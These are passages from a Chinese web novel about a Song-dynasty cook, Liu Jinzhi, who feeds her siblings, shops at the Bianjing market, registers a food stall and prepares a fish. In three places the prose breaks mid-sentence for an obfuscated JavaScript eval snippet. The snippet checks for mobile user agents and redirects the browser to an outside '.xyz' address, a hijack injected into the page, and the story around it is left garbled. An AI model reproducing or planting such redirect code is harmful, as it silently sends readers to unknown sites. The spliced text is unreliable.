但既然柳金枝回来了,就得细心教养。 是夜明月高照,她唤来月牙,一大一小披着衣服,齐齐蹲在门槛上。 “牙齿不保护的话会坏的很快,到老了就吃不下硬东西,所以咱们要早晚刷牙。喏,这个是我在秦淮买的刷牙子,你试试。” 她递过去一根。 古人比现代人还注意牙齿健康,从柳枝刷牙到发明牙粉、牙香、牙刷子和牙香筹,刷牙工具一直在进步。 达官贵人们更是可以用玉,或是象牙做成的牙刷子。使用上好药材、名贵香料做成的牙香。 但谁叫她家是平民百姓,所以牙刷子是用竹木做的,牙香也只是普通的盐巴粉。 月牙还没怎么刷过牙,动作很生疏。 她就给月牙做示范,让月牙学着用牙刷子沾些盐巴粉塞进自己的小嘴里,左边费劲扒拉两下,右边用力扒拉两下。 结果一不小心吃了点盐巴进去,又苦又咸的味道害得月牙一张小脸都皱成一团,直吐舌头,含糊不清地说:“呸呸呸,阿姐,好苦啊。” 她觉得月牙可爱,嘴里叼着牙刷子,不厚道地瞧着月牙笑道:“盐巴哪儿有不苦的,小心些,别再咽下去了。” 月牙点头如捣蒜,然后专心专意跟自己嘴里的牙刷子做斗争。 等到刷完牙,柳金枝端来两杯井水。 姐妹俩同时喝一口,仰起头:“咕噜咕噜。”又使劲儿一吐,“噗——!” 涮牙水吐到外头雪堆儿里,明月清辉下,水迹奇形怪状。 月牙忍不住咧嘴一笑,指着自己吐的那片说:“阿姐你瞧,像兔子。” 柳金枝问:“那阿姐的像什么?” “像大雁!” 柳金枝哈哈大笑,抱着月牙站起来:“走,回屋睡觉去,阿姐给你耍手影戏。” “好!” 只是欢声笑语不绝时,隔壁柳霄倒是翻来覆去睡不着。 他爬起来对着墙贴耳细听了一会儿,垂着脑袋不知道在想什么,尔后又气呼呼往床上一躺,干脆扯过被子蒙住头,一动不动了。 冬日的天亮得晚。 柳金枝醒来时,窗户外头还是一片黑,采莲胡同的所有人家都沉浸在夜色里,只朦胧里隐隐约约透露出屋脊的边缘,和墙边只剩枯枝的老树。 小心翼翼离开温暖的被窝下床,月牙还在熟睡,饿得凹进去的小脸被细软的长发盖着,显出一派天真。 柳霄和月牙都饿的狠了,得给他们好生补补。 柳金枝心里想着,蹑手蹑脚走到厨房,从麻袋里摸出最后一点儿面粉。 在筛粉技术还不怎么成熟的古代,要得一袋精细白面要花费不少功夫,所以白面价贵,还不易得。 但她回程时想着给柳霄、月牙带见面礼,就忍痛拿出银子去买了一小袋。上次吃拨鱼儿耗了一半,现下还有一半,她打算都给柳霄和月牙吃,就做份儿砂锅辣子水滑面。 冬天面不好发,等待的时间更长,但好在她起得早,有充足的时间准备。 于是从壁橱下层取出襻膊,绑起袖子倒水揉面。 这砂锅辣子水滑面,其实就是后世的辣子烩面,做起来并不算复杂,但也很难做的好吃。 因为烩面需要水、面比例调和均匀,再大力去揉它,好好醒出来,等面性发的十分满时,逐块揪拽,非得每块都揪拽得又宽又薄之后下到开水里煮熟,才能让面条劲道又好吃。 光是这一点就要难倒不少膳工了,而烩面的虀头又是一道难关。 需准备麻腻、杏仁儿腻、咸笋干、酱瓜、姜、腌韭和黄瓜丝等配料,有条件的还可以加点煎肉调香,味道更妙。 她没有这个条件,自然也不用烦恼该用什么肉炒才更入味,她思虑的是如何用冬日里头的菜蔬,去代替浇头配料里的一味黄瓜丝。 而至于麻腻、杏仁儿腻等酱,并咸笋干、酱瓜、腌韭一类小菜,厨房里已经备下了,应该都是项志轩叫小厮从外面店铺里买的。 毕竟宋朝时,各类麻酱、酱油、料酒等调味用品早已遍布大街小巷,甚至现代人拌饭离不开的豆瓣酱,在宋朝都已风靡一时。若有需要,直接去买,十来文就能得到一大罐,实在不用自己苦哈哈在家里做。 而卖小菜的更是随处可见,许多小贩为了增加收入,都会在家中做了小菜,第二日再去各大酒楼零售,不同于现代大饭店对于此行为严加禁止,北宋时期各大酒楼、饭店都是允许这种行为的,时称“外来托卖”。 所以现下就只有冬日应季蔬菜需要她预备。 便赶紧用清水将雪白的面粉搅和成糊糊一团,纤细修长的指尖攥住面团使足了劲儿往铁盆里揉,如此反复多次,直揉的人肩酸背痛才算完。 用个湿纱布罩了放在一边,接下来只等面性发满就好了。 此时天色终于有了些朦朦胧胧的光亮,柳金枝掀开厨房的暖帘走到院儿里去巡视菜地。 生活在种花家的每个国民都会点亮的一层天赋大概就是种菜。 以前柳家虽然以剥莲子为生,但柳父还是在院子里开垦了一小块菜地。 春种荠菜、夏种落苏、秋种白菜、冬种京笋。 一年四季家中都菜蔬满园。 自柳父、柳母双双殁了以后,这个菜园子就没人再打理,一直荒废着,任凭春风吹来谁家菜籽,野蔬野菜自由生根,野蛮生长。 而如今柳金枝去园子里一看,银色冬雪覆盖满黑色泥土,雪泥中埋着一截青葱碧绿的菜蔬。 用小锄头扒开一看,方知是京笋。 所谓京笋,便是莴苣,只是北宋人爱用此俗称,因为莴苣很得北宋人的心,就像现代人也爱在莴苣身上开发出各种吃法。 简单点的就将莴苣切丝了做浇头,伴着新鲜麻辣鱼头吃,味道辛辣爽口。复杂点的,就把莴苣切丝了以后淋上小石墨香油,浇上豆瓣酱,鲜辣子,并上大粒盐二十粒,拌匀后入小瓮缸,用纸、竹叶依次盖上,再用泥严封。 要不得三两日,就能起坛开封,享用清爽脆口的腌莴苣丝,最好能搭一碗半稀不稠的白粥,呼啦呼啦地喝下去,那可真是粗茶淡饭却成人间美味。 柳金枝可没这么多闲工夫,只从简单做法来。 于是拔了两根莴苣回厨房,削厚皮、切细丝,简单洗净过后,一气用小笊篱装起,伸入滚水里头七上八下烫了个通心熟。 对着火光一看,莴苣丝中心略实,外心通透,半软不硬的模样正是最脆口时。 赶忙趁此收手,就着笊篱倒入小碗中待用。 转过头来,面也醒的差不多了,柳金枝净了下手,就开始揪拽面块。 当了膳工的人,就是看起来再娇弱的娘子,手上的劲儿也不小。 所以柳金枝拉扯出来的面条又宽又薄,受力正均匀,往开水锅里一甩,很快就被烫成一条条白片儿,顺着滚水泡沉沉浮浮。 如炮制法将整个面团揪拽完,捞上来正好三大碗。 然后起锅烧油,将小厨房里就有的小葱、姜片、蒜末、八角、桂皮等调料一并扔入锅中反复煸炒出味儿,再倒入煮过的莴笋细丝,炒不过两个回合,就用大勺装起,一一分入两个面碗里。 随后又辅以酱油、陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458081|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醋、粒儿盐拌匀,再淋勺麻腻与杏仁儿腻,又用筷子拣出些好的咸笋干、腌韭和酱瓜铺在最上头,直要冒出碗尖儿。 就此,砂锅辣子水滑面终于大功告成。 柳金枝留了两碗给柳霄和月牙,还有一碗送去项志轩房外。 毕竟用了人家的腻子和酱菜,总得有点表示。 叩门是那小厮应的,从他口中柳金枝得知原来项志轩要早起温书,已经简单用过热粥,现下温书累了,又回榻上小憩去了,顺便暖腹,所以柳金枝这碗只能留至用朝食时再吃。 柳金枝表示理解。 现代人讲究“早吃好,午吃饱,晚吃少”,宋人却恰恰相反,讲究“早吃少,午不吃,晚吃饱”。 特别是在宋朝人普遍都只吃两餐的情况下,偶尔多吃的一餐就会被认为是“多余消费的”,会尽量让这餐在肚子里留存的久一点,以享受饱腹感。 诗人陆游就喜欢早上起来之后先喝碗粥,再睡个回笼觉,并美名其曰:“粥后就枕,则粥在腹中,暖而宜睡,天下第一乐也。”,引得后世众人效仿。 回到偏室,天光云影渐入房门。 柳霄已经起身,将自己收拾整齐来管月牙。 睡了一夜,月牙的小发髻松松垮垮耷拉在一边,此时正睡眼惺忪地靠在柳霄身上,任凭柳霄替她拆散了发绳,重新编发。 显然柳霄手艺不好,但胜在认真,小脸绷得紧紧的,生怕扯痛了月牙。 柳金枝一笑,走过去拍拍柳霄:“放着我来吧。” 柳霄点点头,放开手走开。 月牙浑然不觉,就这么自然而然地又靠在了柳金枝身上。 柳金枝很喜爱这个小妹,用心给她编了个秦淮时兴的双丫发髻,又偷偷拿了面铜镜来,才轻轻拍月牙的肩:“月牙,醒醒,莫要睡了。” 她脸上带着笑,预备着小丫头等会儿瞧见了自己的新发型惊喜一场。 只是没料到月牙睡梦初醒般揉了揉眼睛,却下意识抽了抽鼻子,“好香啊。”她咽了口口水,彻底睁开眼,“哥,你拿了什么东西回来?” 但柳霄没有回答,直到月牙自己走到厨房里去,才看见柳霄站在饭桌前,一动不动地盯着面前这两碗热腾腾的烩面。 朦胧的睡意顿时消失,月牙懵懵地说:“哥哥,我是在做梦吗?” 柳霄慢慢摇头。 “我第一次在看见朝食……” 月牙不自觉地走上前,用手抓了一根酱瓜塞进嘴里,咔嚓咔嚓几下吃完,两眼亮的惊人,又忍不住伸手去抓其他配料,还没忘记招呼柳霄: “哥,你快来尝尝,好吃!” 柳霄没动作,只是扭头看柳金枝走过来递给月牙一双竹木箸。 “用箸吃吧,小心烫着手。”柳金枝笑道。 月牙虽然聪慧,但到底是年纪小,又狠饿过,当即连忙点头,接过箸埋头就吃。 倒是柳霄哑声问:“你准备了多久?” “嗐,一个时辰左右,我习惯早起了。”柳金枝笑眯眯的。 她在当学徒的时候天天早起晚归练基本功,每天只睡两三个时辰,有时候通宵熬夜也有可能。 好在她天生高能量,就是睡不饱也不困。 可是柳霄看了眼天色,便知柳金枝大概卯时左右就起了,不由紧紧抿住唇瓣。 又看桌上只有两碗面,他当即又从壁橱里取出一只碗,也不说话,只哐哐几下把自己碗里的面,扒了一大半出来递给柳金枝。 柳金枝摇头:“只有这些面了,以后我们可能很长一段时间吃不到这些好东西……” 柳霄却打断她,倔强又坚持:“你吃!” 柳金枝看着碗里的面,又看看柳霄微微泛红的眼眶,不由失笑,还是接过碗来。 柳霄又将碗中一些好吃配菜都挑给月牙,这才拿起箸大口大口吃起来。 他的吃相也很狼狈,狼吞虎咽一般,显然他也很久没吃到过这么好吃的东西了。 柳金枝微叹,摸摸柳霄和月牙的小脑袋。 8. 早市采买 用完一顿晡食,月牙吃的小肚子圆溜溜的,直打嗝儿。 柳霄擦擦嘴巴,主动去隔壁黄婶子家借车,又将月牙暂时托付给黄婶子照顾,柳霄与柳金枝才推着独三轮儿出门,直往御街去了。 御街从宣德门起直通朱雀门,两边遍布许多茶楼、酒肆、饭馆,以及各类瓦子,是整个汴京城最繁华热闹的街道。 柳金枝才带着柳霄由曹门大街走入御街,繁华热闹的市井气息霎时扑面而来。 街道两旁店肆林立,街宽路长,满街都是各色店铺,小吃琳琅满目,烟火香气浓郁。行人如织,人声鼎沸,热闹喧哗。 柳霄将车栓草绳挂在自己脖子上,气喘吁吁道:“你要买什么?” 柳金枝环顾一周,笑道:“不着急,我们先去逛逛早市。”又将一只普通茄袋交给柳霄,“这袋子里可是我们的全副身家,喏,交与你保管了。” 柳霄霎时瞪大眼睛,仿佛手上接了个秤砣。眼睛左瞟,右瞟,慌忙放进里兜里藏好,才敢抬起头看柳金枝。 “今日我专管挑菜、买菜与人杀价,怕分不出手来算账管钱。所以我将这重担交与你,让你专管银钱采买一切流水。” 柳金枝对柳霄眨眨眼。 “我们底钱不多,你得仔细算账,叫每一分每一厘都花在刀刃儿上,你能做好吗?” 柳霄小心翼翼地捂着兜,颇为紧张道:“嗯!” 柳金枝一笑:“那走吧。” 就带着柳霄、月牙往御街更深处走去。 遇到的第一间人满为患的店铺便是肉铺,唤作“郑氏肉铺”。 手持剔骨刀的肥胖屠夫正站在剁肉台后,听从客人们的命令从吊钩上取下一块块猪肉任人相看。 对比于动辄就八九十文一斤的羊肉、马肉,猪肉算是最物美价廉的肉类,只要三十文左右就可以买到一斤,其余猪下水之类的东西会更加便宜。 所以宋朝时大部分百姓都负担得起猪肉,导致猪肉生意一直很走俏。 又因为汴京城内人口众多,为了供应这么多张嘴巴的猪肉开销,肉贩子每天都会赶一大群猪近汴京。正从南熏门走,赶到屠宰场宰杀。 “您要的猪肋骨一斤,收您三十五文钱,诶,好嘞!您慢走不送!” “哎哟,王娘子,您可别拿手戳肉啦,我这猪肉可是新鲜的,坏了其他客人可就不买啦。” …… 柳金枝挤进剁肉台跟前,看见那屠夫虽然长得五大三粗,一副凶相,但说话非常和气,见了她这个生面孔连忙招呼: “娘子随意看看,想要哪块肉只管告诉我,我替你切来。” 柳霄却在身后紧张算账,算毕,不由把柳金枝衣袖一扯,拉着人就想走。 这肉可买不起! 柳金枝倒是老神在在地站在原地,挂着一脸笑,问:“郑屠户,敢问我拣块斤把重的肥肉要多少文?” “肥肉自然贵些,三十五文一斤。” “那瘦肉呢?” “瘦肉价贱些,二十八文一斤。” 古代人为了饱腹以及营养着想专爱吃肥肉,越肥越香,瘦肉反而因为缺少脂肪而没那么吃香。 郑屠户笑道:“娘子看上哪块肥肉,我替娘子拣来切了。” “我不要肥肉,劳烦您给我两斤一分肥九分瘦的前腿肉。”柳金枝笑道。 郑屠户略微讶异,但还是听命切来,用油纸装裹起来递与柳金枝。 柳金枝掂了掂分量,自觉确实有两斤,郑屠户倒没有缺斤少两,便暗自将这郑氏肉铺的位置记在心里,让柳霄去付账。 柳霄给了银子却又心疼的紧,拎着肉说:“大家都不爱吃瘦肉,买这个会不会太亏了。” “没有不好做的菜,只有做不好的厨子。”柳金枝挑眉,“你放心,要做什么菜我心里已有数。” 又往下一处铺子走去。 这回立在二人面前的六七个并排扎堆的食摊,热粥、香糕、馒头、包子等齐全,甚至还有各种熟食小吃。 这些食摊在此处怕是已经摆了许久,摊前围满了老食客。 食贩们根据食客们的挑拣,熟练揭开蒸笼,香白雾气滚滚,露出屉子里满满当当小巧可爱的精致面点,干净利落用油皮纸包起来几个,再用白线系紧递过去,便能从食客手中赚得五六个铜板的小钱儿。 柳金枝笑吟吟走过去问:“小哥,你这儿可有单子牌面?” “哟,娘子,咱们这小本买卖,熟食种类不过十余种,哪儿有什么单子牌面?”食贩满脸笑,“您要是想知道咱摊上卖什么,我给您唱来就是,您瞧。” 一面揭开蒸笼。 “咱家胡饼有猪胰胡饼、白肉胡饼、茸割肉胡饼。” “糕点有糍糕、黄糕麋、麦糕。” “还有煎白肠、血脏羹、羊血、粉羹、灌肺、蒸饼。” “冬日里,咱还特卖五味肉粥、七宝素粥。” “就是不知娘子您要些什么?” 柳金枝还没吃朝食,正好有些饿了,便就着蒸笼挑拣了一样麦糕、一样七宝素粥。 这两样足够让人饱腹,合计一算,也不过十五文。 如此看来,汴京城的朝食种类繁多,却又颇为物美价廉。而且生意火爆的大多都是半固定摊位,在这御街上存在很多年了。 若她要来抢生意,要么价钱更便宜,要么种类更多。 大大地喝下一口粥,品尝着嘴里这七宝素粥甜滋滋的味道,柳金枝心下有了盘算,回眸对柳霄道:“再去其他食摊上瞧瞧。” 二人再度启程。 这回柳金枝没买东西,只问价。 待她将市面上常见的朝食种类、价钱全都摸了个清楚后,柳霄也逐渐明白了柳金枝的意思,便默默掏出一支笔和账本。一边回忆着方才听到的种种,一边奋笔疾书,代柳金枝把这些价钱全都记下来。 小半个时辰后,柳金枝抬头看看天色,擦去额上热汗,笑道:“好了,时辰也差不多了,现下去买菜的话,应该还有一半的新鲜货可选。” 所以原来从一出门,柳金枝就打算好先做市场调研。 再加上此前她拿菜刀拦住应天爵,到后来又在说笑间和应天爵、项志轩打成一片。 这般行事风格稳妥到不像十六七岁的女儿家。 柳霄不由抿抿唇,道:“你比起以前变的不一样了。” 柳金枝一愣,问:“哪里不一样了?” “以前……我总觉得你会傻乎乎的被人骗。但现在,好像没人能再骗到你一样。”柳霄将纸笔收起来,“甚至让人不由想要相信你。” “人长大了,自然不会还像孩童一般天真。”柳金枝笑道,“那现下的我,有没有值得你来信任?” 柳霄低头不做声。 柳金枝以为她这个弟弟还是心结难消,只好拍拍柳霄的肩,转身欲走。 柳霄却忽然拉住她的衣袖,眉眼有些犹豫和纠结,轻声说:“若你以后不再抛下我和月牙,那我就再信你一次。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458082|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “家”之一字在柳霄心里占据着极重的份量,任何人,任何事,都不能破坏他这个家。 “我必然不会抛弃你们。”柳金枝拉住柳霄的手,重重握紧,“我们永远都是一家人。” 柳霄望着柳金枝清丽的眉眼,感受着手上源源不断传来的温度,往日一直阴郁的脸上终于出现了一丝笑容,犹如阳光破过云层,冰雪消融。 “嗯,我们永远都是一家人,谁也不能拆散……” * 菜市口离贩卖晡食的食摊不远,二人推着独轮车,步行不过一炷香的时间,就到了地方。 这里对比起食贩们还支了个摊子做生意,菜农们的摊子可就简陋许多,只有两个筐子和一条扁担。而菜农自个儿就端着个小杌子坐在一边,时不时给菜蔬们洒点水保持新鲜品相,殷勤等候路过娘子们过来问价。 柳金枝打眼一扫,便知道自己来的还不算晚,有的菜农住的远,要想赶来汴京城里做生意得赶一个时辰的路。 所以现下有些菜农刚到,他们筐子里的菜大多都是刚从地里采摘出来,菜叶水嫩嫩的,菜尖儿还顶着一捧白雪,一看就知道是新鲜的。 柳金枝一一看过去,发现菜蔬种类不算太多,大都是冬天能见到的白菜、荠菜、冬笋、土豆、芋头、黑木耳一类。 菜蔬少,能做的熟食品类就不多,颇受限制。 柳金枝不由怀念了一把现代的蔬菜大棚。 要是古代也有温室大棚,她能做出品类更繁复的熟食,也更有把握占领市场。 “阿姐,你打算买什么?”柳霄问。 “膳房里要用到的物件都要一一采买。”柳金枝从袖口扯出一根襻膊将宽大袖摆挽起,“今日你我要受累一番了。” 柳霄点头,同样撸起衣袖。 接下来,二人先光顾了菜农摊子,购入白菜二十斤,荠菜十斤,冬笋十斤,黑木耳十斤,剩下还有芋头、萝卜、菜苔、野山蕈等各五斤左右。 好在柳家旧宅底下有一口地窖,又正值冬季,这些东西暂时存放在地窖里,短时间内也不会坏。 尔后,又去酱园购入面酱、酱油、黄酒、料酒、老抽、生抽、豆瓣酱等等各两翁。 正好酱园旁边就是卖调料的杂货铺子,于是又购入八角、砂仁、生姜、丁香、薄荷以及大小茴香等等,不拘花费,各种备上一麻袋。 至于锅碗瓢盆以及炉子、炭火,就去御街尽头的团行购入。 所谓团行,就是汴京城内买卖锅碗瓢盆类商家们,共同结成的一个商行。 这家铺子里买了铁锅,隔壁就能买到蒸笼。 柳金枝买的东西多,包括刮板、剪子、竹笊篱等等她都要,于是和几个老板说和讲价,硬生生磨的他们便宜了二十来文。 但省下来的钱与花出去的钱相比,不过是小巫见大巫。 柳霄在心里打了一通算盘,满眼忧虑,道:“阿姐,这些物什总共花费八百二十七文,我们手上还剩一百六十文。按照汴京城一人一天五十文的伙食算,咱们最迟到明日晚间就得饿肚子了。” 看着这独轮车上满满当当的货物,柳金枝她抬手为柳霄擦去额上热汗,道:“万事开头苦,咱们暂且挨一挨,这般穷苦日子不会太久的。” 柳霄点头,道:“实在不行,我去替人算账写字,也能赚十来文。” 柳金枝失笑:“阿姐才不愿你做这种苦活儿,把眼睛熬坏。走,咱现下就归家,叫应天爵带我去食饭行挂名、缴钱!” 9. 挂名、缴钱 天光云影徘徊间,时辰已到正午。 暖暖的冬阳落下一片光辉,将落在树枝间隙的皑皑白雪映照得发亮。 树枝下,应天爵头戴东坡帽,着一身交叠领褙子,下穿百褶裙,外套件宽大的灰蓝色外袍,负手在树杈下来回踱步。 在旁边还停着一辆颇为陌生的车马,外头守着一个脸生的车夫,明显是有外人拜访。 柳金枝一时疑心是不是她那位黑心舅舅来了,但柳霄见了,解释道:“那是项志轩的同窗好友,我和月牙有时在黄婶子家小住,曾经见过他。” “既然是外人,咱们不必管他,你先叫隔壁婶子们帮帮忙,把这些个东西搬进家里去,等我回来,再一发谢过几位婶子。”柳金枝道。 柳霄点头,独自登门找婶子们去了。 留下柳金枝过去与应天爵见礼,笑道:“叫应大哥苦等,倒叫奴心里过意不去。今晚必好好置办一桌酒席,谢过应大哥。” “柳娘子何必客气,既然是杏安小哥叫你来找我,我必然尽心竭力。” 应天爵叉手一拜。 “再说,如果娘子当真要谢,置办酒席不如娘子亲手做几道菜。娘子的手艺堪比樊楼膳工,我上次吃了一回,往后再吃其他,总好像嘴里没滋没味儿一般。” 柳金枝眉眼带笑,连连谦虚:“应大哥谬赞。” 二人一面说话,一面往车马行租赁了一辆驴车,摇摇晃晃地往食饭行去。 食饭行坐落于饭馆食摊盛行之处,即是马行街附近,周围有杨楼、樊楼、庄楼,皆是当时有名有姓的大酒楼。 柳金枝与应天爵坐驴车,从新曹门起始,途径牛行街、南斜街进入新曹门,再北上沿着马行街一路走到头,远远瞧见樊楼的大红拒马杈子摆在街边,车夫就吁停了驴车。 柳金枝主动上前结账,倒叫应天爵脸色更好几分,笑呵呵为柳金枝引路。 “来,娘子里面走,小心路滑。” 二人一前一后绕过积雪小巷,进入大行货巷,巷内有人扫雪,堆积在两边贴墙上靠。 柳金枝小心提裙避开雪堆,跟着应天爵行到中间停下。 往左壁一瞧,正有个朱红双开小门,两边门板上还钉着铜环把手,磨损颇为严重,看样子此处常有人往来。 应天爵颇为熟稔地扣住铜环敲门,抬高声量道:“庄大爹可在?我是应天爵,今日有事求见,劳烦开开门。” 想来这位庄大爹与应天爵确实相熟,叩门不过半柱香时间,门后就传来拉销栓的声音,紧接着门被打开,露出一张白白净净的小童脸。 小童对着应天爵叉手一拜,道:“我家大爹不在家,往桑西瓦子见要客去了。但大爹走时吩咐,若是您登门要带人挂名、缴钱,就叫我带人去办,和大爹在时一样。” 应天爵笑道:“你大爹做事倒周全。” 便将柳金枝引出来与小童相见。 “这位是柳娘子,要在食饭行挂个名,将来好一早一晚的做个食饭生意,你带她进去罢。” 柳金枝与小童福身。 小童将门打开些,让俩人都进。 门内是一座一进一出的宅院,院门口是青石砖铺就的,正有小厮扫地,另有小厮持了短棍在打竹林头上雪。 小童快速进了门,取出一张契约,一方玉印,一盒朱砂,并墨、砚、笔,一通摆放在堂内的一张长方案上。 待到研磨完毕,执笔时问柳金枝:“娘子可看好铺位没有?” “奴想在御街上谋个位子。”柳金枝低垂下眉眼。 “御街?”小童皱起眉,“倒是不好办,这街道人多,是做生意的好去处,人人都想去分一杯羹,柳娘子怕是……” “诶,画童,算是给我个面子。” 应天爵拉住画童的袖子。 “我记得御街靠太常寺那边有一家姓武的,专卖炊饼,因着家中出事,要回乡奔丧,这几日就要买船南下,怕是一时半会回不了汴京。他那位子闲着也是闲着,何不与了柳娘子?” 画童还是皱眉头。 柳金枝福至心灵,取了几十个铜钱塞进他手里,温声软语:“还请小哥照应一二。” 掂了掂分量,显然这点银钱不太符合他的预期。 但应天爵在旁边看着,催他快些盖章,画童只好铜钱拢进袖子里,松口道: “罢了,瞧在应大哥与这位柳娘子诚心,太常寺那位子就与这位娘子了。来,这契约一式两份,还请娘子签字画押。” 柳金枝松一口气,连忙接过笔签上大名。 画童又盖上印章,抽了其中一张交与柳金枝,道: “这契约是要移交到官府上报姓名的,但凡出了事,别说是官府要缉拿娘子,我们食饭行也不会姑息。所以希望娘子莫要偷工减料,必得地道、用心。” 柳金枝小心接过这张薄薄契约,福身应答:“奴定然谨记。” “如此,我们食饭行便挑选一位行老与娘子结对,凡有饮食上不懂的。如哪方菜钱贵贱?哪方人流多少?哪方人家要做四司六局?哪方物价涨跌?都可以请教行老。” 画童拿出一本名册,翻开看了片刻。 “蔡老正得闲,便与娘子安排吧。” 尔后便挥毫泼墨,写下蔡老地址交与柳金枝。 应天爵笑道:“蔡老是食饭行里的老人了,在这汴京城也做了三十二年的食饭生意,出去问一句蔡氏饭馆,就没有不知道的。人脉广,经验足。能得他指点,娘子好福气。” 柳金枝道:“今日正巧得空,不如应大哥引奴到蔡氏饭馆拜见一下蔡老。” “这是自然,说起来,蔡老的饭馆与太常寺不过一街之隔,到时你俩还能做个邻居呢。” 应天爵一边笑着,一边在前头引路。 好在此前那辆驴车还没走,于是又坐驴车南下,往御街宣德门前的太常寺去了。 蔡氏饭馆不大,门口也没什么彩绸拒马杈子,只一条白旗招子,上书“蔡氏饭馆”四个大字。 虽然如此,但饭馆内人来人往,热闹非凡,足可见其受欢迎的程度。 跑堂小二也格外热情,但见柳金枝和应天爵是要往蔡氏饭馆的方向来,隔着老远就高声欢迎: “哟,二位客官里面儿请!” 看着小二满脸堆笑的模样,柳金枝也不由莞尔。 一般来说,饭馆里最重要的是膳工,但在宋朝时期,跑堂小二也是不逊色于膳工的“镇馆之宝”。 因为宋朝饭馆里虽然有单子牌面,但每日菜色常有变化,所以当天有什么菜,没什么菜,主推什么特色菜,都需要跑堂小二记住。 这就要求跑堂小二拥有极强的记忆力。 除此之外,跑堂小二也得有眼力见。 遇见衣着稍微寒酸的客人,就报价位低一些的菜。遇见那类不差钱儿的,自然就得报些佛跳墙、熊掌、鱼翅等等,否则也辱没了人家的身份。 值得一提的是,宋朝的跑堂小二还得有一把好嗓子。毕竟宋朝的报菜名不是单单用嘴说,而是“唱”。 孟元老的《东京梦华录》里就有写到类似场景—— “行菜得之,近局次立,从头唱念,报与局内。” 一道菜一道菜的高声唱出来,既能让膳房内听得清楚,也能叫食客确定有没有报错菜名,可谓是一举两得。 当然,柳金枝不是来消费的,将手中契约递与跑堂小二,劳烦他请出蔡老来面谈。 蔡老看起来五十上下光景,目光炯炯有神,两颊红润有光,是个精神抖擞的胖老头。 想来他正在后厨忙碌,匆匆忙忙掀开厨帘出来时,额上、鼻尖满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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蔡老喘着气将柳金枝上下一打量,道:“这位娘子,若你没有十成把握,我便去前头赔罪,央那位食客再稍等片刻,叫膳徒再去买一尾就好,可不能逞强。” “每日鲜鱼都是早晨买最佳最鲜,现下已过午后,渔夫早离岸登船,怕是买不到鲜鱼了。就是有的卖,价钱怕也要贵上许多。” 柳金枝有理有据。 “所以,与其白白浪费了这尾鱼,倒不如让奴一试。” 蔡老的眉头顿时拧成个大疙瘩。 他与柳金枝第一次见,实在无法全然相信柳金枝的手艺,但局外跑堂小二声音传来:“好嘞,您坐,听小的给您唱菜。” 尔后门板被叩响。 跑堂小二高声道:“蔡老,金华火腿豆腐汤一道!黄金鸡一道!” 蔡老急得又开始冒汗,认命般道:“罢了罢了,请娘子试试吧。左右迟一些赔罪,早一些赔罪都无甚差别。” 柳金枝略一挑眉,故意当做没听见这丧气话,只向膳徒问清地窖在何处,便一转身去了。 与此同时,邻街太常寺处,一辆装潢朴素低调的马车停在门口。 杏安扶着傅霁景下车。 傅霁景对着寺口小吏叉手一拜,温和道:“敢问小哥,柴寺丞可在?” 小吏查看过傅霁景身侧牌子,也与他见礼,恭敬道:“原来是傅郎君,不知郎君寻柴寺丞何事?” “家姐有事嘱托,叫在下来寻姐夫归家。”傅霁景道。 “郎君来的不巧,寺内膳堂正在修缮,大人们都外出用膳去了。柴寺丞随同两位典薄大人也出了门,瞧模样,应是往邻街蔡氏饭馆儿去了。” 傅霁景拢袖而望,只见太常寺对街有一旗招迎风招展,正是蔡氏饭馆名号,便与小吏告辞,步行过街去了。 10. 蒜末鱼片 柳金枝从蔡氏饭馆的地窖里舀了几碗酒出来。 华国从商代开始就有醋,往后酿造工艺越发进步,也就衍生发展出陈醋、生抽、老抽、酱油一类,但无一例外颜色都呈深褐色。 直到近现代才有人酿制出白醋,滴入食物里而不改其颜色。 再经过一段时间发展,人们发现白醋也能用来除味,所以常用白醋来处理一些腥味儿难除的食材,其中就包括刺破了苦胆的鱼。 所以按照常理来说,在宋朝这个时间线,是没有白醋存在的。 可偏偏柳金枝以前读过《中华美食发展史》,知道原来在春秋时就出现了白醋的前身,但在当时,这只被当成一种酒,供大家狂饮取乐。 这类酒在宋朝被称之为眉寿酒,由宋朝丰乐楼,也就是樊楼购买酒曲酿造。 而作为一家正经饭馆,蔡老自然也向丰乐楼购买此酒,储备在地窖之中,以作零售之用。 将鱼放入盆内,再倒入眉寿酒浸泡。 不过一时三刻,绿汁苦胆的浓郁涩味已经被一股酒味儿覆盖。 柳金枝再用刀小心缓慢地刮下胆汁浸漫过的鱼肉,弃之不用,又更换眉寿酒再度浸泡一次。 如此反复,胆汁之苦已经全然消弭,留下来的只有酒味儿。 但是酒味儿过甚,也会损伤鱼肉的本真鲜味儿。 所以要趁眉寿酒尚未浸透到鱼肉肌理之时,尽早进行烹饪。 里头蔡老已经掌握了两口灶眼,柳金枝也不起动膳徒,自个儿拿着火石搭柴起火,将第三口灶眼点燃。 火势起时,火舌大肆舔舐锅底。 